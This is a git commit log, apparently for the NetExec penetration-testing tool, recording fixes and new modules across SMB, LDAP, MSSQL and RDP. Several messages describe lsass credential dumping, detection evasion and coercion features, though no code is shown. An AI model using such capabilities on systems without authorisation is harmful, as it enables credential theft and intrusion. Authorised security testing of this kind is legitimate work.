lap1nou 93a7bd6c7d Added get_credentials and get_crdential function for LDAP protocol 2025-01-23 22:34:15 +01:00
lapinou 30166dd418 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-01-23 21:42:04 +01:00
Joytide 8309947719 Fix: privileged groups SID not found error 2025-01-23 16:11:33 +01:00
termanix e5e750d897 Updated for procdump, handlekatz and procdump either 2025-01-23 03:41:01 -05:00
termanix 49220a323d Merge branch 'Pennyw0rth:main' into update-exe-nxc-data 2025-01-22 14:30:58 -05:00
termanix 84d896e22a Merge branch 'Pennyw0rth:main' into fix-dump-files-deleting 2025-01-22 14:30:41 -05:00
Alex 6ce260fca1 Merge pull request #546 from Pennyw0rth/neff-patch-1
Swap cert-pem to pem-cert to match pfx syntax
2025-01-22 13:39:35 +01:00
Alexander Neff 80f528c160 Swap cert-pem to pem-cert to match pfx syntax 2025-01-22 07:33:19 -05:00
mpgn 9511ca2b3b Merge pull request #544 from Pennyw0rth/krb5
Add option generate-krb5-file for krb5 configuration
2025-01-18 22:45:45 +01:00
mpgn a9412abeac Merge branch 'main' into backup_operator 2025-01-18 21:46:56 +01:00
mpgn dd27cc48f0 Merge branch 'main' into krb5 2025-01-18 21:40:59 +01:00
Alex ed89236e12 Merge pull request #545 from Pennyw0rth/ruff2
fix ruff
2025-01-18 21:34:09 +01:00
mpgn 29d94f9baa add test 2025-01-18 19:31:37 +01:00
mpgn e10756a973 add krb5 conf file option for smb 2025-01-18 19:28:19 +01:00
mpgn 8d9b7eede3 fix ruff 2025-01-18 18:36:57 +01:00
mpgn 7bb58133b0 Merge pull request #379 from nikaiw/module_dpapihash
Add dpapi hash module based on the work of @fist0urs
2025-01-18 15:44:15 +01:00
mpgn da3ad306e8 fix review 2025-01-18 14:15:23 +01:00
termanix dd6c62e8c2 Delete funciton created with same as nanodump and handlekatz 2025-01-16 05:18:39 -05:00
termanix fdb1a7993a Fix lsass dump files deleting process when dump fail 2025-01-16 05:12:46 -05:00
termanix 675975e614 Fix procdump deleting when lsass dump fail 2025-01-16 04:46:43 -05:00
termanix 9b1455f77a Updated exe files processsing for evasion 2025-01-15 05:56:50 -05:00
mpgn 5db7e76cf4 Merge branch 'main' into backup_operator 2025-01-14 20:17:46 +01:00
zblurx bf6fd5e91f update e2e 2025-01-14 16:26:44 +01:00
zblurx 66500bf2db update with latest dploot changes 2025-01-14 16:23:00 +01:00
zblurx b250e1d9fd Merge branch 'main' into module_dpapihash 2025-01-14 15:55:40 +01:00
zblurx a5ec90e402 Merge pull request #539 from Pennyw0rth/dploot_upgrade
update dploot to 3.1.0
2025-01-14 15:53:57 +01:00
zblurx 142530ca49 update dploot to 3.1.0 2025-01-14 14:50:58 +01:00
mpgn 5e04926d7e update module 2025-01-13 21:51:22 +01:00
mpgn f999da0a31 update module 2025-01-13 20:52:52 +01:00
mpgn 5a63253d16 update module 2025-01-13 20:50:11 +01:00
Alex 835be02966 Merge pull request #538 from Pennyw0rth/neff-update-spec
Fix spec file
2025-01-12 21:02:41 +01:00
Alexander Neff df0b4bba3a Add oscrypto from github to fix openssl issue 2025-01-12 14:58:32 -05:00
Alexander Neff 72ff0ae041 Fix spec file 2025-01-12 09:28:13 -05:00
Fagan Afandiyev 2f1bc026cc Delete nxc/modules/marbdawg.py
Signed-off-by: Fagan Afandiyev <[email protected]>
2025-01-10 19:19:35 -05:00
FaganAfandiyev a25e26b38d marbdawg beta 1.0 2025-01-10 19:17:37 -05:00
mpgn d11532c95a remove useless code 2025-01-10 10:29:49 +01:00
mpgn d666ff3f4a fix review 2025-01-09 22:20:58 +01:00
mpgn 333a7f31de fix review 2025-01-09 22:17:15 +01:00
mpgn 74d8787166 fix review 2025-01-09 22:16:13 +01:00
mpgn 93acdba831 fix review 2025-01-09 22:14:25 +01:00
mpgn bb87479069 add test 2025-01-09 21:05:05 +01:00
mpgn 11062abd4b add exit if not right 2025-01-09 20:44:00 +01:00
mpgn 923fc4625f add backup_operator module 2025-01-09 20:09:23 +01:00
mpgn 5103f57fac Merge pull request #536 from Pennyw0rth/pfx_fix
fix pfx auth on non dc
2025-01-07 13:02:48 +01:00
mpgn 4a3f3e3120 use kdchost 2025-01-07 16:15:08 +01:00
mpgn 26e4ce4b11 use kdchost 2025-01-07 16:10:25 +01:00
mpgn 905f63677c fix pfx auth on non dc 2025-01-07 16:05:12 +01:00
FaganAfandiyev 4e6b978406 Ruff changes 2025-01-06 18:39:04 -05:00
FaganAfandiyev 74f80e67ac Default value added to OLDPASS and OLDNTHASH option 2025-01-06 18:30:46 -05:00
FaganAfandiyev 4604d494f1 Fixing output types 2025-01-06 17:30:19 -05:00
Fagan Afandiyev 7371dea334 Merge pull request #1 from termanix/changepassupdate
Improvements on STATUS_PASSWORD_MUST_CHANGE and STATUS_PASSWORD_EXPIRED
2025-01-06 17:26:40 -05:00
mpgn 5d680a9288 Merge pull request #534 from Pennyw0rth/nosmbv1
switch default conn from smbv1 to smbv3
2025-01-06 21:23:14 +01:00
mpgn 501c9e0c10 Merge branch 'main' into nosmbv1 2025-01-06 21:20:11 +01:00
mpgn 3ee33cdd61 Merge pull request #535 from Pennyw0rth/neff-patch-1
Update license file and lint py version
2025-01-06 21:20:02 +01:00
mpgn a562430416 Merge branch 'main' into neff-patch-1 2025-01-06 21:15:20 +01:00
mpgn 1bfe964aa5 Merge pull request #533 from Pennyw0rth/pfx
add certificate authentication aka pass-the-cert
2025-01-06 21:15:07 +01:00
Alexander Neff 0236ef7877 Fix logic bug when creating smbv1 connection and add timeout check for smbv3 2025-01-06 08:43:49 -05:00
Alexander Neff 33ecfb1965 Remove old smbv1 check 2025-01-06 08:43:22 -05:00
Alexander Neff 5aca57804c Lint 2025-01-06 07:46:14 -05:00
Alexander Neff 36eedde236 Update linting to py3.10 2025-01-06 07:46:09 -05:00
Alexander Neff 3904dcd063 Update license file 2025-01-06 07:45:59 -05:00
mpgn cca63a2e76 force poetry to 1.8 in github action 2025-01-06 10:36:52 +01:00
mpgn a4286ee3ab allow test to be run manually 2025-01-06 09:54:42 +01:00
mpgn 0cbd63aa25 try to fix test 2025-01-06 09:24:49 +01:00
mpgn c8160b6fe5 fix ruff 2025-01-05 02:32:37 +01:00
mpgn e744305427 switch default conn from smbv1 to smbv3 2025-01-05 02:28:00 +01:00
Alexander Neff 5f87918e5f Use NXC_PATH instead of hardcoded path 2025-01-04 14:52:38 -05:00
Alexander Neff 28bc001b46 Formating 2025-01-04 14:51:21 -05:00
Alexander Neff 631107dee4 Move cert auth logic to helpers function 2025-01-04 14:49:57 -05:00
Alexander Neff c71e52dbf8 Pass the target ip to the tools, so that they don't need to resolve the domain 2025-01-04 14:41:44 -05:00
Alexander Neff 716ae2a148 Make sure that the user enters a username for cert auth 2025-01-04 14:41:17 -05:00
mpgn 36ca3a0326 add certificate authentication aka pass-the-cert 2025-01-04 18:36:38 +01:00
termanix cf40b4c69e Merge branch 'Pennyw0rth:main' into patch-6 2025-01-04 09:31:43 -05:00
termanix c0fe839e28 ldap parser stay same as main branch. users and active-users editted for both anon and user auth. 2025-01-04 09:23:11 -05:00
Alex f9ce149d12 Merge pull request #531 from Pennyw0rth/neff-refactor-ssh 2025-01-04 11:49:27 +01:00
Alexander Neff a2ae0bde18 POC for escape to root file system 2025-01-03 20:19:35 -05:00
mpgn fb96e7868c Merge pull request #530 from Pennyw0rth/ldap_socks
fix connection issue with socks ldap
2025-01-03 08:22:38 +01:00
Alexander Neff 23b4a23c5d Readd functionality that key files are stored to db 2025-01-02 18:42:11 -05:00
Alexander Neff 7a6945a789 Add missing database handling 2025-01-02 18:20:38 -05:00
mpgn 56e92220e2 Merge pull request #532 from Pennyw0rth/bh
push bloodhound to 1.8
2025-01-03 00:00:48 +01:00
mpgn 37ae051ad4 fix ruff 2025-01-03 00:14:42 +01:00
mpgn d5c6bd927f push bloodhound to 1.8 2025-01-03 00:09:06 +01:00
Alexander Neff 4303f1d43a Moved to init 2025-01-02 17:54:53 -05:00
Alexander Neff 96d23cd174 Fix windows output 2025-01-02 17:52:47 -05:00
Alexander Neff beee54bea6 Fix debug logging 2025-01-02 17:50:11 -05:00
Alexander Neff caba9f662f Refactor privilege check logic 2025-01-02 17:42:31 -05:00
mpgn fcc22c212d Merge pull request #505 from rtpt-romankarwacik/dcerpc_printerbug
coerce_plus: Support DCERPC for PrinterBug
2025-01-02 22:54:13 +01:00
Alexander Neff cfc8f2fcfa Fix auth 2025-01-02 16:37:57 -05:00
Alexander Neff 6593fa84db Extracting privilege checks from plaintext_login 2025-01-02 16:37:17 -05:00
Alexander Neff 07540ee0c7 Renanem priv functions to reflect its implementation 2025-01-02 16:13:59 -05:00
Alexander Neff 176b9618f1 Move plaintext_login above priv checks 2025-01-02 16:13:16 -05:00
Alexander Neff b02fff7e3c Add handling for missing or wrong key file password 2025-01-02 16:04:44 -05:00
mpgn 3ec787cda2 re-add debug line 2025-01-02 21:59:47 +01:00
mpgn 45b81a4306 fix ruff 2025-01-02 21:56:02 +01:00
mpgn 7296e3c715 fix connection issue with socks ldap 2025-01-02 21:51:39 +01:00
mpgn 74f39f50d6 fix expoitstatus 2025-01-02 20:11:44 +00:00
Roman Karwacik 2c50411a59 fix force push ':( 2025-01-02 20:08:49 +00:00
Roman Karwacik b22c4bc6b4 add break on loop 2025-01-02 20:08:03 +00:00
Alex 121942320e Merge pull request #524 from jdholtz/ssh-file-interaction
ssh: allow for putting and getting files
2025-01-02 19:06:02 +01:00
Alex 59faa48cfd Merge pull request #476 from termanix/patch-8
Improve LDAP dc-list flag
2025-01-01 18:28:04 +01:00
Alexander Neff d8e5e94ccb Add dns options to dc-list 2025-01-01 12:24:46 -05:00
mpgn fbd4e1ae9a Merge branch 'main' into patch-8 2024-12-31 10:02:31 +01:00
mpgn 131e29e117 Merge pull request #529 from XiaoliChan/printnightmare-fix
[PrintNightmare] Add more exception catch in module
2024-12-31 09:57:54 +01:00
XiaoliChan 3b443d7c83 [Module] Add more exception catch
Signed-off-by: XiaoliChan <[email protected]>
2024-12-31 13:22:43 +08:00
Alex 1d55ccf5b1 Merge pull request #528 from Pennyw0rth/neff-rdp-errors
Show error messages when rdp fails
2024-12-30 22:31:07 +01:00
Alexander Neff 7c95169907 Linting 2024-12-30 16:21:48 -05:00
Alexander Neff 57b29bcc71 Simplify code 2024-12-30 16:21:38 -05:00
Alexander Neff 0f810c958d Add errors message to login result for all login methods 2024-12-30 16:20:32 -05:00
Alexander Neff f93e9c3ea4 Add errors message to login result 2024-12-30 16:16:30 -05:00
Alex 2c421a7ed5 Merge pull request #526 from lap1nou/fix-user-desc 2024-12-30 21:13:04 +01:00
lapinou 4100bb3e61 Update ldap.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:26:09 +01:00
lapinou 7a98330156 Update database.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:18:44 +01:00
lapinou 14c4506767 Update user-desc.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:10:35 +01:00
termanix 761da40463 added comment lines
Signed-off-by: termanix <[email protected]>
2024-12-29 23:20:21 +02:00
termanix fb51b53885 update 2024-12-29 15:22:43 -05:00
mpgn 92dc819673 Merge pull request #521 from XiaoliChan/remove-mic-check
[Module] Add remove mic check
2024-12-29 21:18:01 +01:00
XiaoliChan 7a6565c1e1 Merge branch 'main' into remove-mic-check 2024-12-30 00:35:26 +08:00
mpgn 2a15590ba5 Merge pull request #523 from XiaoliChan/force-smbv2
[SMB] Allow force to disable SMBv1
2024-12-29 14:58:19 +01:00
XiaoliChan 281feb3809 [SMB] @mpgn review
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 18:29:05 +08:00
XiaoliChan 964be24cfa [Remove-Mic] Add e2e command
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:09:06 +08:00
XiaoliChan 8ad48fb757 [Remove-Mic] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:07:17 +08:00
XiaoliChan ce963a0fa7 [Remove-Mic] mutiple hosts set 2 False
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 14:59:53 +08:00
XiaoliChan b79ddec91f [SMB] add e2e for '--no-smbv1'
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:43:12 +08:00
XiaoliChan d33f1640b7 [SMB] better control of smbv1
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:37:10 +08:00
jdholtz dc39e0e6a9 ssh: allow for putting and getting files 2024-12-27 01:33:50 -06:00
XiaoliChan 3e44b41e8b [Module] Add remove mic check
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 02:01:39 +08:00
XiaoliChan 1b7dbe3ba1 [SMB] Allow force to use smbv2
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 01:32:41 +08:00
Alex 32b20cdc22 Merge pull request #522 from Pennyw0rth/neff-fix-514 2024-12-26 16:21:44 +01:00
Alexander Neff c0e618fe41 Fix #514 2024-12-26 08:53:11 -05:00
Alex 14c295923f Merge pull request #520 from lodos2005/patch-2
Rename ldapConnection to the new ldap_connection var #508 #4767762 - Fix Modules
2024-12-26 14:31:41 +01:00
Hakan Yavuz bb378830b3 Rename ldapConnection to the new ldap_connection var #508 #4767762 2024-12-25 13:50:02 +03:00
Alex 07980ea486 Merge pull request #516 from Pennyw0rth/neff-improve-enum_links
Add a query for the linked server config if we are local admin
2024-12-21 15:48:03 +01:00
Alexander Neff 2a98a9255e Add a query for the linked server config if we are local admin 2024-12-21 09:42:32 -05:00
Alex bc2bc32797 Merge pull request #515 from Pennyw0rth/neff-patch-1
Change error to fail message
2024-12-21 15:23:18 +01:00
Alexander Neff 2afb383cdf Change error to fail message 2024-12-21 08:36:55 -05:00
Alex 1e583a066f Merge pull request #368 from Yeeb1/module_snipped
Add new SMB module to download Screenshots created by Snipping Tool
2024-12-21 13:22:10 +01:00
FaganAfandiyev 50d551df54 Comment updates 2024-12-19 23:15:57 -05:00
FaganAfandiyev 70a5e053fc Updated version of change-password module with ruff changes 2024-12-19 23:13:15 -05:00
Alexander Neff 930f045190 Changing logging output 2024-12-19 08:28:27 -05:00
mpgn 4de3126672 Merge pull request #511 from Pennyw0rth/fix_ldap_trust
fix trust relation for ldap
2024-12-19 13:03:11 +01:00
mpgn 73ce6d773f fix trust relation for ldap 2024-12-19 13:55:59 +01:00
mpgn ecd3fcd255 Merge pull request #508 from Pennyw0rth/ldap_wt_smb
Remove smb from ldap proto
2024-12-19 09:15:32 +01:00
mpgn d05aeb5631 Merge pull request #510 from Pennyw0rth/fix_kerberos_trust
fix trust relation for smb
2024-12-19 09:15:20 +01:00
mpgn ea7e0925a1 fix trust relation for smb 2024-12-19 02:28:26 +01:00
Alexander Neff 4767762939 Rename ldapConnection to the new ldap_connection var 2024-12-18 17:31:25 -05:00
mpgn 4a8e702f24 fix hostname 2024-12-18 23:42:25 +01:00
mpgn 1c55fd806a fix ruff 2024-12-18 23:05:52 +01:00
mpgn 02981b187e Remove smb from ldap proto 2024-12-18 23:01:38 +01:00
mpgn 100a878a2c Merge pull request #509 from Mortimus/patch-1
Update pyproject.toml to add missing dependency for wam module
2024-12-18 22:45:30 +01:00
mpgn 59e091ba34 add poetry.lock 2024-12-19 02:37:06 +01:00
Randall Stroup 0b2ffca913 Update pyproject.toml
Updated missing dependency for wam module

Signed-off-by: Randall Stroup <[email protected]>
2024-12-18 14:31:45 -06:00
mpgn 2e1f225859 Merge pull request #506 from Pennyw0rth/ruff
fix ruff
2024-12-18 00:01:19 +01:00
mpgn 4c9db0a377 fix ruff 2024-12-17 21:18:57 +01:00
mpgn 277a78c29c Merge branch 'main' into ruff 2024-12-17 21:15:03 +01:00
mpgn a284b00678 Merge pull request #415 from deathflamingo/main
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-12-17 21:13:50 +01:00
mpgn cb44d09df7 fix ruff 2024-12-17 21:08:00 +01:00
mpgn fb369f05b6 Merge pull request #444 from Dfte/SMB]-Add-the-Notepad++-module
[SMB] Add the Notepad++ module
2024-12-17 19:02:20 +01:00
mpgn 278124f289 Merge pull request #451 from Dfte/SMB]-Rework-the-runasppl-module
[SMB] Rework the runasppl module
2024-12-17 18:51:15 +01:00
mpgn 0ff19ac09e Merge pull request #465 from Dfte/Add---shadowrdp-module
Add the shadow RDP module
2024-12-17 18:50:54 +01:00
mpgn 87e383fda5 Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:48:13 +01:00
mpgn 65e2b3f7a9 Merge pull request #449 from Dfte/SMB]-Powershell-history-module-rework
[SMB] Powershell history module rework
2024-12-17 18:47:13 +01:00
mpgn 25fd5c193a Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:46:42 +01:00
termanix a9ef92be9b Merge branch 'Pennyw0rth:main' into patch-8 2024-12-17 11:41:44 -05:00
mpgn aa68664ba5 Merge branch 'main' into SMB]-Rework-the-runasppl-module
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:42:08 +01:00
mpgn 9e3ea172ad Merge branch 'main' into SMB]-Powershell-history-module-rework 2024-12-17 16:26:47 +01:00
mpgn fad01c8175 Merge branch 'main' into SMB]-Add---qwinsta-and---tasklist-options
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:17:16 +01:00
mpgn c9ce989b43 Merge pull request #491 from Pennyw0rth/dploot_upgrade
Upgrade dploot to 3.0.3
2024-12-16 22:22:15 +01:00
mpgn 52da03ec1b Merge branch 'main' into dploot_upgrade 2024-12-16 22:08:03 +01:00
mpgn 4516401d15 Merge pull request #456 from lodos2005/patch-1
Add mssql_coerce Module
2024-12-16 22:03:44 +01:00
mpgn 706da13ef8 Merge branch 'main' into dploot_upgrade 2024-12-16 22:03:32 +01:00
mpgn 69715850dc Merge branch 'main' into patch-1 2024-12-16 22:01:36 +01:00
mpgn d32080e507 fix py missing 2024-12-16 21:56:58 +01:00
mpgn 051fa81da4 Merge pull request #492 from Adamkadaban/mssql-rid-brute
Add rid-brute flag to mssql protocol
2024-12-16 21:48:37 +01:00
mpgn 07c15cd413 Merge branch 'main' into mssql-rid-brute 2024-12-16 21:37:34 +01:00
Alex 95b1af5a16 Merge pull request #503 from Pennyw0rth/neff-add-basedn
Add baseDN flag to ldap
2024-12-11 13:13:13 +01:00
Alex dcb3bbd025 Merge pull request #500 from MaxToffy/fix-daclread
Fix TARGET_DN object query
2024-12-11 13:12:59 +01:00
Alexander Neff 9997091980 Add baseDN option for other search queries 2024-12-10 18:29:14 -05:00
Alexander Neff c4671a2c17 Add base-dn options for ldap to fix stuff like #500 2024-12-10 18:27:12 -05:00
Alex 3a446436a0 Merge pull request #502 from lap1nou/fix-nla-screen
Fix RDP '--nla-screenshot' option
2024-12-10 23:50:40 +01:00
Alexander Neff 55c4cfd219 Add log message and use NXC_PATH var 2024-12-10 17:42:38 -05:00
lapinou 8a55f22dc0 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-10 19:31:17 +01:00
lapinou 5174ce4a6b Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 23:09:12 +01:00
lapinou 74eb4cbcc8 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 22:35:02 +01:00
Alex 2c5037f0ab Merge pull request #499 from Joytide/spiderplus-ext-fix
Bugfix: file extension filter of spiderplus was misleading/broken
2024-12-05 13:05:49 +01:00
Joytide bed186712d Merge pull request #1 from termanix/patch-9
Update spider_plus.py for both with and without dots
2024-12-05 11:34:09 +01:00
termanix 3ca3481270 Update spider_plus.py for both with and without dots
Signed-off-by: termanix <[email protected]>
2024-12-05 00:38:41 +02:00
MaxToffy bd50a585a1 Fix TARGET_DN object query
Signed-off-by: MaxToffy <[email protected]>
2024-12-04 11:12:15 +01:00
Joytide af8001591c Bugfix: file extension filter of spiderplus was misleading 2024-12-03 10:53:36 +01:00
Alex 24135483e2 Merge pull request #311 from Disgame/timeroast_module
Timeroast module
2024-12-01 14:37:45 +01:00
Alex d7d7505fa1 Merge branch 'main' into timeroast_module 2024-11-30 12:36:10 +01:00
Alex 45db7e67aa Merge pull request #498 from Pennyw0rth/neff-bug-fixes
Speed improvements and bug fixes
2024-11-30 00:21:00 +01:00
Alex 7b7f4b2475 Merge branch 'main' into timeroast_module 2024-11-29 01:12:57 +01:00
Alexander Neff b9f52fdd4b Formating 2024-11-28 19:00:54 -05:00
Alexander Neff 410e040a28 Don't print an index error with null session, we won't have null user in the db 2024-11-28 19:00:45 -05:00
Alexander Neff 9644cae865 Simplify logging 2024-11-28 18:43:23 -05:00
Alexander Neff 9e024582a4 Add timeout check, to not double check a non existent host 2024-11-28 18:41:10 -05:00
Alexander Neff 8dabb3d0e6 Remove formatter that strips out escape sequence, as already done by Text.from_ansi 2024-11-28 18:27:59 -05:00
Alexander Neff 9d558d95db Remove unnecessary exception info which results in double logs, caused by kwargs passed as exc_info in log record 2024-11-28 17:31:50 -05:00
Alex e19868ecb3 Merge pull request #495 from Pennyw0rth/neff-update-impacket
Update impacket so ldaps channel binding is supported
2024-11-25 22:13:24 +01:00
Alexander Neff 4f10c0b45a Update impacket so ldaps channel binding is supported 2024-11-25 15:49:42 -05:00
Yeeb1 af512f1e6b Modifed Snipped Module 2024-11-24 11:55:39 +00:00
Yeeb1 54fea6358e Created the Snipped SMB Module 2024-11-24 10:33:19 +00:00
Yeeb1 4693d2118e Ran ruff 2024-11-24 10:07:57 +00:00
Yeeb1 cee469bd22 Created gpp_privileges module 2024-11-24 10:03:41 +00:00
Adamkadaban b4b6714125 remove extra newline for better formatting 2024-11-23 21:28:53 -05:00
Adamkadaban 977a3d60a3 add error checking for when not on a domain-joined machine 2024-11-23 15:54:48 -05:00
Adamkadaban b76c848767 comment code 2024-11-23 15:52:05 -05:00
Adamkadaban 07554152db add e2e test 2024-11-23 15:47:45 -05:00
Adamkadaban 6534a4592b remove sid type. unsure if there is any way to query this 2024-11-23 15:34:57 -05:00
Adamkadaban 3b58928ab2 add batch query 2024-11-23 15:28:57 -05:00
Adamkadaban 9b5317c234 add rid-brute argument for mssql 2024-11-23 15:20:24 -05:00
Adamkadaban 29e239469e add initial poc 2024-11-23 15:20:13 -05:00
zblurx 2efaafaf92 update poetry.lock 2024-11-22 17:33:10 +01:00
zblurx 0f98d92340 Upgrade dploot to 3.0.3 2024-11-22 17:18:21 +01:00
termanix 8439d4f9cf Merge branch 'Pennyw0rth:main' into patch-8 2024-11-16 10:05:50 -05:00
Alex 05ad3c6bc4 Merge pull request #488 from TheToddLuci0/add_null_domain_flag
Allow for empty domains
2024-11-15 19:17:54 -05:00
Alex 77e1f88d5b Merge pull request #380 from nikaiw/add_ioxidresolver_option
add an option to ioxidresolver to get only IP values different than targets
2024-11-15 19:06:13 -05:00
Alexander Neff c64cf0a93a Fix module options and rstrip to remove trailing null byte 2024-11-15 18:56:12 -05:00
TheToddLuci0 743076acd3 Allow for empty domains 2024-11-15 17:53:15 -06:00
Alex b3872600e9 Merge pull request #438 from snowpeacock/fix_module_execution_method
Bugfix : exec-method specified in module file is not used
2024-11-15 17:25:17 -05:00
Alexander Neff dca1d088c3 Merge branch 'main' into fix-exec-method 2024-11-15 17:22:04 -05:00
Alex 0da04ddb20 Merge pull request #381 from termanix/FindDelegation
New LDAP Flag Find Delegation
2024-11-14 15:09:32 -05:00
Alexander Neff f5d5a1b4fe Use imported constants instead of redefining 2024-11-14 14:10:13 -05:00
Alexander Neff bac7a34285 Removing disabled account checks, these are already filtered by the ldap query 2024-11-14 06:46:50 -05:00
Alexander Neff 573eb60002 Small formating changes 2024-11-14 06:40:07 -05:00
Alexander Neff 0fc09fae53 Filter only unconstrained delegation on DCs 2024-11-14 06:29:12 -05:00
Alexander Neff 496b002ad2 Remove check for sAMAccountName, there should always be one 2024-11-14 06:22:38 -05:00
Alex 2235050f60 Merge pull request #487 from Pennyw0rth/neff-fix-veeam-output
Fix veeam output
2024-11-13 08:44:34 -05:00
Alexander Neff 3fff8b1721 Remove weird header in PR template 2024-11-13 08:25:58 -05:00
Alexander Neff 620f4208b4 Fix veeam output 2024-11-13 08:23:40 -05:00
Alex dbd20cb72a Merge pull request #481 from Kahvi-0/main
schtask_as - Delete task when there is an error
2024-11-12 17:02:44 -05:00
Alex 08b486da5c Merge pull request #482 from Pennyw0rth/hosts_file
Add option to generate hosts file for smb proto to first blood more quickly on htb
2024-11-12 17:02:00 -05:00
Alex cd75a4c5e9 Merge pull request #486 from j-mie/fix-nmap-parser-ftp
Fix nmap XML parser when looking for ftp service
2024-11-12 16:55:17 -05:00
Jamie Hankins 3358f77d22 Add support for WMI and NFS in nmap XML parser 2024-11-12 17:40:39 +00:00
Jamie Hankins 7586145d24 Fix nmap XML parser when looking for ftp service 2024-11-12 17:08:52 +00:00
termanix 627bc5ee18 dns-resolver object change with the nxc/connection.py 2024-11-11 14:48:21 -05:00
termanix bb11d413cd Merge branch 'Pennyw0rth:main' into patch-8 2024-11-11 12:09:00 -05:00
Alexander Neff 801420da75 As the scheduled task now triggers on registration we remove manuel execution because this would try to run the task twice 2024-11-11 11:19:31 -05:00
Alexander Neff 14ccdfc63c Suprress task deletion errors and ensure only one error message is printed 2024-11-11 11:05:35 -05:00
Alexander Neff 33f3f7c449 Remove global variable 2024-11-11 08:59:10 -05:00
Alexander Neff 64f0f78ed3 Remove useless code and formating 2024-11-11 08:38:44 -05:00
Alexander Neff 94c2884c5f Update atexec.py to prevent detectino with hardcoded timestamp 2024-11-10 18:29:18 -05:00
Alexander Neff ab579b3d45 Change Trigger to type RegistrationTrigger and add end boundary to prevent execution after some time if something fails, see #481 2024-11-10 18:26:11 -05:00
termanix a70e3b8c6b removed SERVER_TRUST_ACCOUNT for see rbcd to DCs 2024-11-09 11:27:04 -05:00
termanix ef0ca60c39 mustcommit variable remove 2024-11-08 01:53:22 -05:00
mpgn d9982b486d Merge branch 'main' into hosts_file 2024-11-07 15:24:00 +01:00
Alex 72fee6af49 Merge pull request #405 from 0xQRx/mssql-xp-shell-add-check
Mssql xp_cmdshell added "is enabled" check
2024-11-06 23:25:02 +01:00
Alexander Neff c012e04ecf Add backup&restore options for mssql options, to keep the current state of the mssql config 2024-11-06 16:34:41 -05:00
mpgn e78b05adad Merge branch 'main' into hosts_file 2024-11-06 15:13:02 +01:00
Alex a83c412062 Merge pull request #462 from y0no/smb_add_enum_shares
[SMB] Add --enum-shares options like in NFS protocol
2024-11-06 12:30:38 +01:00
Alexander Neff 92c4f014a6 Add ruff exception for function name "dir" 2024-11-06 06:24:36 -05:00
Alexander Neff fd378f6675 Removing unnecessary check 2024-11-06 06:21:41 -05:00
mpgn d4808ac9e9 check if target is dc 2024-11-04 14:41:43 +01:00
mpgn 864b7aeed3 fix proto help 2024-11-03 22:17:57 +01:00
mpgn c294219b7a add tests 2024-11-03 22:08:51 +01:00
mpgn 841f9d8fd0 add generate_hosts_file option for lab 2024-11-03 22:02:51 +01:00
Kahvi-0xFF bab8acbf4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:18:16 -04:00
Kahvi-0xFF dc61428a0e Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:04:16 -04:00
Kahvi-0xFF 9c17cf9bb2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:02:50 -04:00
Kahvi-0xFF c66ab1af61 schtask_as.py - Delete task when there is an error
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 18:42:34 -04:00
termanix 26391a3370 Update variables
Signed-off-by: termanix <[email protected]>
2024-10-28 21:58:53 +02:00
termanix 85600e66b4 Update admin-count parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 21:35:00 +02:00
termanix 2f17bb27b3 Update password-not-required parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:59:43 +02:00
termanix c96b703bd7 Update trusted-for-delegation parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:58:39 +02:00
termanix ec09a5a35b Update query parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:46:35 +02:00
termanix 7b4f5ea65f Update kerberoasting parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:15:12 +02:00
termanix 78063a0308 Update asreproast parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:01:11 +02:00
termanix 9889414c2e Update groups parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 19:59:52 +02:00
termanix 415af7e613 Merge branch 'main' into patch-7 2024-10-28 19:13:17 +03:00
termanix 3d186ec434 Update check_if_admin parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 18:10:38 +02:00
termanix 92c892fd41 Update dc-list
Signed-off-by: termanix <[email protected]>
2024-10-28 15:57:47 +02:00
Alex 78da498846 Merge pull request #474 from Pennyw0rth/marshall-nfs-status13-fix 2024-10-28 00:23:18 +01:00
Alexander Neff 1b495cd372 Use the status codes defined in the rfc when we have an error with mounting shares 2024-10-23 17:56:57 -04:00
Marshall Hallenbeck 9e6ba5a4c0 fix: check if status is 13 and print out permission denied for share 2024-10-23 15:59:39 -04:00
Alex 3e5d825852 Merge pull request #473 from Pennyw0rth/neff-code-improvements 2024-10-23 11:29:39 +02:00
Alex 6f7c4dbc1a Merge branch 'main' into neff-code-improvements 2024-10-22 22:22:49 +02:00
Alex 110f61bc3b Merge pull request #460 from Pennyw0rth/neff-drop-py-support
Drop support for Python 3.8 and 3.9
2024-10-22 22:22:38 +02:00
Alexander Neff a382fbd492 Execute should always return a string not a list 2024-10-22 15:40:49 -04:00
Alexander Neff b5e9f1f069 Replace False return values with empty list to prevent crashes 2024-10-22 15:34:21 -04:00
